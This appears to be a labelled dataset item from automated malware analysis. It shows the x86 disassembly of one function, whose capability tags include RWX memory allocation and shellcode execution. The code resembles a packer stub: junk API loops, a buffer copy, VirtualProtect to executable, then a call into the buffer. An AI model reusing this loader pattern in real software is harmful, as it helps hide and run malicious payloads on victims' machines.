Function at 0x405630
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Get file size
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x439004]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [0x476fec]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x40566a
mov ecx, dword [0x43a934]
mov dword [0x477374], ecx
cmp eax, 0x3c
jne 0x405677
push ebx
call edi
mov eax, dword [0x476fec]
inc esi
cmp esi, 0x5f6c74
jl 0x405656
cmp eax, 0x7c
jne 0x4056c5
push ebx
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
cmp eax, 0x110a
jne 0x405729
push ebx
mov dword [0x476fe0], ebx
mov dword [0x476fe4], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.pumediviyororevinayawogedo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040104f
add esp, 0x18
push ebx
call fcn.0040137f
call fcn.00405450
xor ecx, ecx
cmp dword [0x476fec], ebx
jbe 0x40576b
jmp 0x405740
mov eax, dword [0x477374]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x476d10]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x476fec]
jb 0x405740
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x476fec]
mov edx, dword [0x476d10]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004055c0
call fcn.00405470
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea esp, [esp]
lea eax, [esp + 0x1c]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x4057d3
cmp dword [esp + 0x24], 0xf5bed7
jne 0x4057dc
inc esi
cmp esi, 0x1ece7a52
jl 0x4057b0
mov edi, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
xor esi, esi
cmp esi, 0x12e6c3
jne 0x4057f5
call fcn.00405440
cmp dword [0x476fec], 0x3dc
mov dword [0x476d14], 0x8e46a6f0
jne 0x405825
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
inc esi
cmp esi, 0x1519a5
jl 0x4057e8
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret